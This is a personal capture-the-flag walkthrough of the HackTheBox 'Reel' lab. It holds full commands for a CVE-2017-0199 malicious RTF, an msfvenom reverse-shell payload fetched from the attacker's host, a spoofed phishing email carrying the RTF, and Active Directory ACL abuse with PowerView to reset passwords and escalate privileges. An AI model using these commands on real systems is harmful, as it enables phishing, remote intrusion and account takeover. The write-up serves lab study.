50 HTB REEL

Objectives:

```
1. Metadata Inspection
2. SMTP Enumeration (VRFY Manual vs smtp-user-enum)
3. Crafting a malicious RTF document [PHISHING] [CVE-2017-0199]
4. SPEAR PHISING. Sending an email to get command execution [RCE]
5. Playing with PSCredential Objects (XML files | PowerShell - Import-CliXml)
6. ACLs Inspection (Active Directory Enumeration)
7. Abusing WriteOwner Active Directory Rights
8. Playing with PowerView (Set-DomainObjectOwner, Add-DomainObjectAcl & Set-DomainUserPassword)
9. Abusing WriteDacl Active Directory Rights
10. Information Leakage [Privilege Escalation]
```

This box covers a really awesome and important redteam blueteam subject (*Phishing*)

1. **I tried smbmap and smblient. Then I remembered that port 21 is open and anonymous logins allowed.**

- *#pwn_ftp_mget_proper_syntax*

```
1. ~/hackthebox/reel ▷ ftp 10.10.10.77 21
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:pepe): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
2. ftp> dir
200 PORT command successful.
3. cd into documents
4. ftp> cd documents
5. ftp> get readme.txt
6. ftp> get AppLocker.docx
7. ftp> get "Windows Event Forwarding.docx"
8. ~/hackthebox/reel ▷ libreoffice AppLocker.docx
AppLocker procedure to be documented - hash rules for exe, msi and scripts (ps1,vbs,cmd,bat,js) are in effect

9. ~/hackthebox/reel ▷ cat readme.txt
please email me any rtf format procedures - I will review and convert.
new format / converted documents will be saved here.

10. The following file will not open I think it is encrypted or coruppted
11. ~/hackthebox/reel ▷ libreoffice Windows\ Event\ Forwarding.docx
12. MGET, I have never been able to use the command 'mget *' correctly lol
13. To use mget command you need to run 'prompt off' first
14. ftp> prompt off
15. ftp> mget *
```

- *#pwn_NMAP_ftp_anon_NSE*
- *#pwn_NMAP_NSE_script_ftp_anon*

2. ***S4vitaar*** **recommends locating an** ***nmap*** **scan** `ftp-anon.nse`

```
1. locate ftp-anon.nse
2. /usr/share/nmap/scripts/ftp-anon.nse
3. ~▷ cat /usr/share/nmap/scripts/ftp-anon.nse
```

3. **Do a file asterisk to get all the metadata quickly from these docx files above**

```
1. ~/hackthebox/reel ▷ file *
AppLocker.docx:                 Microsoft Word 2007+
portzscan.nmap:                 ASCII text, with very long lines (382)
readme.txt:                     ASCII text
reel_notes_scratch.txt:         Unicode text, UTF-8 text
Windows Event Forwarding.docx: Microsoft Word 2007+
```

4. **Run xsltproc to output stuff to html. I keep on call it xlstproc.**

```
1. xsltproc --output path/to/output_file.html
2. xsltproc targetedxml > targeted.html
```

5. **Cool sleep command**

> 1. **If you put the sleep command libreoffice opens much more smoothly**
> 2. `~/hackthebox/reel ▷ sleep 2; libreoffice AppLocker.docx`
> 3. **I just thought this was cool and I want to remember it.**

OLETOOLS and Olevba

- *#pwn_oletools*
- *#pwn_olevba_xls_tool*
- *#pwn_docx2txt*

6. **We need to use the tool olevba. I have used it before several times it shows up in my notes. To install it and usage do the following.**

```
1. Arch and BlackArch
2. sudo pacman -S python-oletools
3. Usage: olevba /path/to/file.xlsm --decode > file_decoded.xls
4. There is also a python2 version
5. blackarch/python2-oletools 1:0.60.1-3 (blackarch blackarch-binary blackarch-forensic) Tools to analyze
Microsoft OLE2 files.
6. Usage: olevba2 /path/to/file.xlsm --decode > file_decoded.xls
7. Usage for other file types like docx
8. $ olevba AppLocker.docx
.............................................
olevba 0.60.1 on Python 3.11.5 - http://decalage.info/python/oletools
=============================================
FILE: AppLocker.docx
Type: OpenXML
No VBA or XLM macros found.
```

7. **I found something interesting. I ran *olevba* on `Windows Event Forwarding.docx` file and I got this weird error. I immediately thought maybe something is wrong with my *olevba* or *docx2txt* app, but no they both come back with the same exact error when trying to manipulate this file `Windows Event Forwarding.docx`. See below**

```
1. ~/hackthebox/reel ▷ olevba Windows\ Event\ Forwarding.docx
ERROR    Unhandled exception in main: Bad magic number for file Traceback zipfile.BadZipFile: Bad magic number
for file header
2. docx2txt Windows\ Event\ Forwarding.docx > file.txt
Traceback zipfile.BadZipFile: Bad magic number for file header
3. Exact same error when trying to open this file.
4. nico@megabank.local
5. FAIL, I was never able to get this nico@megabank.com to show up in my exiftool command. Tried several
different things and it is not there.
6. exiftool *.docx
7. exiftool -f *.docx
8. xxd Windows\ Event\ Forwarding.docx | grep -i "nico"
9. NOTHING worked
```

TELNET on port 25 ??? I thought telnet was on port 23 only but now I guess you can try telnet on 25 as well

8. **Telnet on port 25 and forging and email using telnet on port 25.**

```
1. telnet 10.10.10.77 25
2. I typed help and then you can do the HELO command with a randome site and if it says hello back that means you
are good to go.
3. Here is the telnet interaction
.....................................................
~/hackthebox/reel ▷ telnet 10.10.10.77 25
Trying 10.10.10.77...
Connected to 10.10.10.77.
Escape character is '^]'.
220 Mail Service ready
HELP
211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
HELLO data.com
503 Bad sequence of commands
HELO data.com
250 Hello.
VRFY nico@megabank.com
503 Bad sequence of commands
HELP
211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
VRFY nico@megabank.com
502 VRFY disallowed.
MAIL FROM: <ninjahacker@megabank.com>
```

```
250 OK
RCPT T0: <pedro@megabank.com>
550 Invalid syntax. Syntax should be RCPT TO:<mailbox@domain>[crlf]
RCPT TO:<pedro@megabank.com>
550 Unknown user
RCPT TO:<nico@megabank.com>
250 OK
QUIT
221 goodbye
Connection closed by foreign host.
```

SMTP-USER-ENUM

- *#pwn_smtp_user_enum_knowledge_base*
- *#pwn_smtp_user_enum_usage*

9. `01:12:55` **..Install and usage for** `smtp-user-enum`

```
1. To get the menu for smtp-user-enum just type it in the terminal
2. smtp-user-enum
3. We will be using the following list I think
4. ls /usr/share/seclists/Usernames/Names/names.txt
5. USAGE EXAMPLES:
$ smtp-user-enum.pl -M VRFY -U users.txt -t 10.0.0.1
$ smtp-user-enum.pl -M EXPN -u admin1 -t 10.0.0.1
$ smtp-user-enum.pl -M RCPT -U users.txt -T mail-server-ips.txt
$ smtp-user-enum.pl -M EXPN -D example.com -U users.txt -t 10.0.0.1
6. I have no idea what the .pl is about
7. This is the command we will use for REEL
8. >$ smtp-user-enum -M RCPT -U users.txt -t 10.10.10.77
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
######## Scan started at Sun Oct 15 17:16:24 2023 #########
10.10.10.77: nico@megabank.com exists
######## Scan completed at Sun Oct 15 17:16:27 2023 #########
1 results.
```

10. **He *googles* the following for *RTF* exploitation.**

```
1. Google this: 'RTF malicious file remote code execution packetstormsecurity'
2. https://packetstormsecurity.com/files/142211/Microsoft-RTF-Remote-Code-Execution.html
3. Microsoft RTF Remote Code Execution
Microsoft RTF CVE-2017-0199 proof of concept exploit
(https://github.com/bhdresh/CVE-2017-0199)
Exploit toolkit CVE-2017-0199 - v2.0 is a handy python script which provides a quick and effective way to exploit
Microsoft RTF RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter payload to victim
without any complex configuration.
```

- *#pwn_CVE_2017_0199_toolkit*
- *#pwn_RTF_CVE_2017_0199_python2_exploit*

11. **How to install and execute** `CVE-2017-0199-toolkit.py`

```
1. ~/hackthebox/reel ▷ git clone https://github.com/bhdresh/CVE-2017-0199.git
2. cd into CVE-2017-0199
3. ~/hackthebox/reel/CVE-2017-0199 (master ✔) ▷ python2 cve-2017-0199_toolkit.py -h
4. BELOW is the syntax for the RTF exploit we are going to do on the victim. I was not paying attention as to how
he found out that this payload would work on the victim. In the one of the exfiltrated notes it talks about
running a RICH TEXT FORMATTED command that would be run by the system. I guess there is where he got the idea to
use this exploit. Not sure.
5. ~/hackthebox/reel/CVE-2017-0199 (master ✔) ▷ python2 cve-2017-0199_toolkit.py -M gen -w clickme.rtf -u
http://10.10.14.5/ninja.hta -t RTF -x 0
6. Generating normal RTF payload. Generated clickme.rtf successfully
7. ~/hackthebox/reel/CVE-2017-0199 (master ✘)★ ▷ file clickme.rtf
clickme.rtf: Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
```

- *#pwn_msfvenom_search_payload_formats*
- *#pwn_msfvenom_formats_search_for_payload_encoding*

12. **Look up *MSFVENOM* formats**

```
1. msfvenom -l formats | grep hta-psh
2. Apparently, this is a good way to look up the formats you want to you encode your payload with. The common
ones are exe,dll, plus many more.
```

- *#pwn_REGEX_replace_column_with_commas*

13. **I wanted to put this column of words into one line separated by commas.**

```
1. ~/hackthebox/reel ▷ cat tmp | xargs | tr ' ' ','
Name
asp,aspx,aspx-exe,axis2,dll,ducky-script-psh,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-
vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,python-reflection,vba,vba-exe,vba-psh,vbs,war
2. These are the available .MSFVENOM formats
```

MSFVENOM is allowed in the test if you get a reverse shell like this below

- *#pwn_msfvenom_usage_for_OSCP_Exam*
- *#pwn_msfvenom_OSCP_allowed_usage*

14. **You will most likely need to use `msfvenom` on the *OSCP* exam but you can not use `meterpreter`, but if you use this syntax you will get a `cmd` shell instead of a `meterpreter` session. You can also use `exploit multi/handler` I think.**

```
1. ~/hackthebox/reel ▷ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f hta-psh -o ninja.hta
2. ~/hackthebox/reel ▷ file ninja.hta
ninja.hta: HTML document, ASCII text, with very long lines (6920)
3. When you run file command on your payload it should look like the output above.
```

Initial Foothold

15. **Steps for initial foothold**

```
1. Create RTF payload done
2. Create MSFVENOM reverse shell that will be requested from port 80 by the RTF payload
3. set up rlwrap listener on 443
4. Download and install sendmail pkg on BlackArch the command is $ sudo pacman -S sendmail
5.
```

Sendmail NOT WORKING

16. **I tried to install the sendmail pkg from the AUR like S4vitar. He executed it with sendEmail but that isn't working for me.**

```
1. I installed it like he did
2. paru -S sendmail
3. It went through the whole mkpkg -si thing
4. I go to try and execute it
5. >$ sendEmail (No such zsh command)
6. FAIL
7. >$ sendmail
8. FAIL
9. >$ sudo sendmail
10. FAIL
11. I look up the usage for it 'sendmail 8.17.2-1'
12. https://man.archlinux.org/man/sendmail.8.en
13. https://man.archlinux.org/man/sendmail.1.en
14. I am thinking it is screwed up in the AUR
15. I do the command and it does not error or anything it just hangs
```

Sendmail FIX

17. **I found what the issue was. S4vitar was saying to install the wrong package**

```
1. $ paru -S sendmail
2. WRONG
3. $ paru -S sendemail
4. CORRECT
5. I was trying to install the wrong package for 2 hours lol
6. ~/hackthebox/reel ▷ paru -Ss sendemail
aur/sendemail 1.56-2 [+31 ~0.00] A lightweight command line SMTP email client written in Perl
6. USAGE
7. $ sendEmail
sendEmail-1.56 by Brandon Zehm <caspian@dotconf.net>
Synopsis:  sendEmail -f ADDRESS [options]
8. ▷ sendEmail -f ninjahacker@megabank.com -t nico@megabank.com -u "IMPORTANT" -m "REDCROSS URGENT MESSAGE, Your
mother has her balls twisted send money." -s 10.10.10.77:25 -a ~/hackthebox/reel/CVE-2017-0199/clickme.rtf -v
```

PHISHING `sendEmail` pkg

- *#pwn_sendEmail_phishing_campaigns*
- *#pwn_sendEmail_redteaming_phishing_campaigns*

18. **Here are some details of the `sendEmail` pkg. This was a hard package to find for some reason. Usually the good packages are hard to find and hard to install.**

```
1. ~/hackthebox/reel ▷ pacman -Qi sendemail
Name            : sendemail
Version         : 1.56-2
Description     : A lightweight command line SMTP email client written in Perl
Architecture    : any
URL             : http://caspian.dotconf.net/menu/Software/SendEmail/
Licenses        : GPL
Groups          : None
Provides        : None
Depends On      : perl  perl-net-ssleay  perl-io-socket-ssl
Optional Deps   : None
Required By     : None
Optional For    : None
Conflicts With  : None
Replaces        : None
Installed Size  : 79.33 KiB
Packager        : Unknown Packager
Build Date      : Sun 15 Oct 2023 08:16:59 PM CST
Install Date    : Sun 15 Oct 2023 08:17:01 PM CST
Install Reason  : Explicitly installed
Install Script  : No
Validated By    : None
2. Install : $ paru -S sendemail
3. Usage : $ sendEmail (Brings up Help Menu)
4. Usage see below for verbose output
```

19. **Verbose output of the `sendEmail` command**

```
▷ sendEmail -f ninjahacker@megabank.com -t nico@megabank.com -u "IMPORTANT" -m "REDCROSS URGENT MESSAGE, Your
mother has her balls twisted send money." -s 10.10.10.77:25 -a ~/hackthebox/reel/CVE-2017-0199/clickme.rtf -v
.....................................................................
Oct 15 21:12:48 h3lix sendEmail[32952]: DEBUG => Connecting to 10.10.10.77:25
Oct 15 21:12:49 h3lix sendEmail[32952]: DEBUG => My IP address is: 10.10.14.5
Oct 15 21:12:49 h3lix sendEmail[32952]: SUCCESS => Received:    220 Mail Service ready
Oct 15 21:12:49 h3lix sendEmail[32952]: INFO => Sending:        EHLO h3lix
Oct 15 21:12:49 h3lix sendEmail[32952]: SUCCESS => Received:    250-REEL
250-SIZE 20480000
250-AUTH LOGIN PLAIN
250 HELP
Oct 15 21:12:49 h3lix sendEmail[32952]: INFO => Sending:        MAIL FROM:<ninjahacker@megabank.com>
Oct 15 21:12:49 h3lix sendEmail[32952]: SUCCESS => Received:    250 OK
Oct 15 21:12:49 h3lix sendEmail[32952]: INFO => Sending:        RCPT TO:<nico@megabank.com>
Oct 15 21:12:49 h3lix sendEmail[32952]: SUCCESS => Received:    250 OK
Oct 15 21:12:49 h3lix sendEmail[32952]: INFO => Sending:        DATA
Oct 15 21:12:49 h3lix sendEmail[32952]: SUCCESS => Received:    354 OK, send.
Oct 15 21:12:49 h3lix sendEmail[32952]: INFO => Sending message body
Oct 15 21:12:49 h3lix sendEmail[32952]: Setting content-type: text/plain
Oct 15 21:12:49 h3lix sendEmail[32952]: DEBUG => Sending the attachment [/home/pepe/hackthebox/reel/CVE-2017-
0199/clickme.rtf]
Oct 15 21:13:01 h3lix sendEmail[32952]: SUCCESS => Received:    250 Queued (12.046 seconds)
Oct 15 21:13:01 h3lix sendEmail[32952]:

Email was sent successfully!

From: <ninjahacker@megabank.com>
To: <nico@megabank.com>
Subject: [IMPORTANT]
Attachment(s): [clickme.rtf]
Server: [10.10.10.77:25]
```

GOT SHELL - Initial-Foothold

20. **SUCCESS, we got a shell. This was a very fun shell as I had to use a spoofed email to trigger the payload. Very fun good times. lol**

```
1. C:\Windows\system32>whoami
whoami
htb\nic
2. C:\Users\nico\Desktop>whoami /priv
3. NOTHING HERE
4. I was able to get the systeminfo to print but it looks like it is completely patched.
5. C:\Users\nico\Desktop>systeminfo
78 Hotfix(s) Installed.
6. We got the user.txt flag
7. C:\Users\nico\Desktop>type user.txt
type user.txt
b8ac9a8664fe4b395316a3d90c4c1981
```

21. **Now lets enumerate the box and see how we can escalate to `NT AUTHORITY SYSTEM`.**

```
1. There is an interesting file cred.xml
2. C:\Users\nico\Desktop>type cred.xml
3. There is a password here encrypted with the PSCredential command to decrypt it we need to use powershell
Import-CliXml
4. Google : 'powershell Import-CliXml'
5. https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/import-clixml?
view=powershell-7.3
```

22. **Ok, now we put together the command to view this credential using `power-shell CliXml cmdlet`.**

```
1. C:\Users\nico\Desktop>powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.getNetworkCredential()"
2. At first you will only see a username and Domain name
UserName     Domain
--------     ------
Tom           HTB
```

23. **In order to view this credential we need to *add* the `format-list` command**

```
1. C:\Users\nico\Desktop>powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.getNetworkCredential() |
Format-List *"
.....................................................
UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB
```

24. **Now that we have these creds from Tom lets try to use these to ssh into the box**

```
1. I tried sshpass but it refused to work for me. I must have needed to use sudo or something. I just ssh in the
traditional way and it works the same
2. ▷ sshpass -p '1ts-mag1c!!!' ssh tom@10.10.10.77
3. ssh tom@10.10.10.77
The authenticity of host '10.10.10.77 (10.10.10.77)' can not be established.
ED25519 key fingerprint is SHA256:fIZnS9nEVF3o86fEm/EKspTgedBr8TvFR0i3Pzk40EQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.10.77' (ED25519) to the list of known hosts.
tom@10.10.10.77 password: '(paste the password)'
4. tom@REEL C:\Users\tom>whoami                                    htb\tom
```

25. **Now that we are Tom lets enumerate the box**

```
1. on the Desktop of Tom there is an 'AD Audit' directory
2. tom@REEL C:\Users\tom\Desktop>dir
<DIR> AD Audit
4. tom@REEL C:\Users\tom\Desktop>cd "AD Audit"
5. tom@REEL C:\Users\tom\Desktop\AD Audit>dir
<DIR>  BloodHound                                          note.txt
6. tom@REEL C:\Users\tom\Desktop\AD Audit>type note.txt
.....................................................      Findings:
Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query).
Maybe we should re-run Cypher query against other groups we have created.
7. The bloodhound directory looks interesting lets check it out
8. tom@REEL C:\Users\tom\Desktop\AD Audit>cd Blood*
9. tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>dir
<DIR>   Ingestors
        PowerView.ps1
10. tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>cd Ing*
11. tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>dir
12. We find a file that is interesting here. acls.csv
```

26. **Lets download this file. Set up smbserver**

```
1. ~/hackthebox/reel ▷ sudo smbserver.py ninjafolder $(pwd) -smb2support
2. tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>copy acls.csv \\10.10.14.5\ninjafolder\acls.csv
1 file(s) copied.
3. This gives the hash of Tom but we already have his password so it is of no use.
4. exit from the smbserver
5. ▷ grep -iR "pass" -A4 -B4 acls.csv 2>/dev/null
6. I got nothing
7. He opens it with libreoffice
8. ▷ sleep 4; libreoffice acls.csv
```

27. **We check out the `acls.csv` file and it says Tom has write owner over claire account. I thought it said Tom has write Dacl on the entire domain. I think he just wants to show off his pivoting skills? lol**

```
1. We try to access claire using net user command and we get access denied
2. tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>net user claire password123$!
3. Access is denied.
```

28. **He goes into *Power-Shell* and imports the `PowerView.ps1` we saw earlier to try to upgrade ourselves to domain admin. *I think that is what he planning to do in my opinion*.**

```
1. tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>powershell
2. PS C:\Users\tom\Desktop\AD Audit\BloodHound> Import-Module .\PowerView.ps1
3. Yes, he is going to do what I thought he wants to use PowerView.ps1 to change our shell to claire account aka
pivot
```

- *#pwn_grep_for_strings_in_file_that_begin_with_this_word*
- *#pwn_grep_words_in_a_file*

29. **Cool grep command. Find strings in a file that begin with this word. *Basically just put a carrot at the beginning of your word to search for words that start with this or a dollar sign for strings that end with this*.**

```
1. ▷ cat PowerView.ps1 | grep -i "^function"
2. ▷ cat PowerView.ps1 | grep -i "member$"
3. Also this recursive search is great for find passwords in a file
4. ▷ grep -iR "pass" -A2 -B2 acls.csv 2>/dev/null
```

30. **He is looking for a *function* that has the word *DomainObject* in it**

```
▷ cat PowerView.ps1 | grep -i "^function" | grep -i -A2 -B2 "DomainObject"
▷ The following command is all I need to view everything clearly. More clearly than opening the entire file in
VIM that is for sure.
▷ cat PowerView.ps1 | grep -i -A4 -B2 "DomainObjectowner"
```

31. **He found the command he was looking for `DomainObjectOwner` and we use it to change identity to *claire* account**

```
1. PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
2. ▷ cat PowerView.ps1 | grep -i -A4 -B2 "Add-DomainObjectAcl" | grep -i "targetidentity"
3. He is searching for the following
4. Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
5. We have to change the users
6. PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom
-Rights ResetPassword
7. We can not use a password unless it is converted to a secure string in AD
8. PS C:\Users\tom\Desktop\AD Audit\BloodHound> $cred = ConvertTo-SecureString "password123$!" -AsPlainText -
Force
9. That is the password we are going to use as claire account
10. Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
11.
```

PROTIP

WRITEOWNER

`Whenever you see that you have WriteOwner over an account that means you can change the password of the account.`

32. **Here is the entire output of the commands above I took to long and got access denied at the last command. All you have to do is enter the commands again quickly.**

```
1. PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
2. PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom
-Rights ResetPassword  PS C:\Users\tom\Desktop\AD Audit\BloodHound> $cred = ConvertTo-SecureString
"password123$!" -AsPlainText -Force
3. PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -Identity claire -AccountPassword $cred
4. WARNING: [Set-DomainUserPassword] Error setting password for user 'claire' : Exception calling "SetPassword"
with "1"
5. argument(s): "Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))"
6. PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -Identity claire -AccountPassword $cred
7. WARNING: [Set-DomainUserPassword] Error setting password for user 'claire' : Exception calling "SetPassword"
with "1"
8. argument(s): "Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))"
9. PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
10. PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity
```

```
tom -Rights ResetPassword                                                    PS
C:\Users\tom\Desktop\AD Audit\BloodHound> $cred = ConvertTo-SecureString "password123$!" -AsPlainText -Force
11. PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -Identity claire -AccountPassword $cred

12. When I did the commands in quick succession it took it

13. ~/hackthebox/reel ▷ ssh claire@10.10.10.77
claire@10.10.10.77 password: <paste your password>
14. claire@REEL C:\Users\claire>whoami                              htb\claire
```

33. **Claire needs to be added to *Backup_Admins***

```
1. claire@REEL C:\Users\claire>net group
2. claire@REEL C:\Users\claire>net user claire
3. claire is not in the group backup_admins but since we have determined from the ACL list acls.csv that claire
has Write DACL on the domain we can easily add this account to that group.
4. claire@REEL C:\Users\claire>net group Backup_Admins claire /add
The command completed successfully.
5. Now run net user on claire again and you will see the account has been added to backup_admins
6. claire@REEL C:\Users\claire>net user claire
*Hyper-V Administrator                                          *Backup_Admins
*Domain Users                                                   *MegaBank_Users
*DR_Site                                                        *Restrictions
The command completed successfully.
```

NOTICE: you won't be able to use the newly added group until your next login. So you have to log out and log back into ssh

34. ***I had a hard time logging out and logging back in*. When I logged back in as claire the group *backup_Admins was gone* so I had to do it all over again. Next we run icacls on Administrator to see what rights we have.**

```
1. claire@REEL C:\Users>icacls Administrator
Administrator NT AUTHORITY\SYSTEM:(OI)(CI)(F)                    HTB\Backup_Admins:(OI)(CI)(F)
HTB\Administrator:(OI)(CI)(F)                       BUILTIN\Administrators:(OI)(CI)
Successfully processed 1 files; Failed processing 0 files
```

PROTIP

> ***PASSWORD HUNTING***
>
> *The following command is so cool. You have to be in Power-Shell. You can run the following command and it will search through every file in the current directory for the chosen word.*
>
> `PS C:\Users\Administrator\Desktop\Backup Scripts> dir | Select-String "Password"`

- *#pwn_windows_password_hunting_select_string*
- *#pwn_password_hunting_select_string_windows*

35. **We have NT Authority but we still do not have access to the Administrator ROOT Flag! lol**

```
1. claire@REEL C:\Users\Administrator\Desktop>type root.txt         Access is denied.
2. There is an interesting directory on the Administrator Desktop 'Backup Scripts' lets cd into it
3. I switch to powershell
4. claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>powershell
5. There is a ton of power-shell scripts in here we should try to parse these files to see if we can find a
password
6. PS C:\Users\Administrator\Desktop\Backup Scripts> dir | Select-String "Password"
BackupScript.ps1:1: admin password
BackupScript.ps1:2:$password="Cr4ckMeIfYouC4n!"
```

36. **Now we can SSH as the Administrator**

```
1. I was able to use 'sshpass' this time
2. ▷ sshpass -p 'Cr4ckMeIfYouC4n!' ssh administrator@10.10.10.77
3. administrator@REEL C:\Users\Administrator>whoami                 htb\administrator
4. administrator@REEL C:\Users\Administrator>type C:\Users\Administrator\Desktop\root.txt
ee7ceee6828ce1ca23326bd50f622781
```

Pwn3d!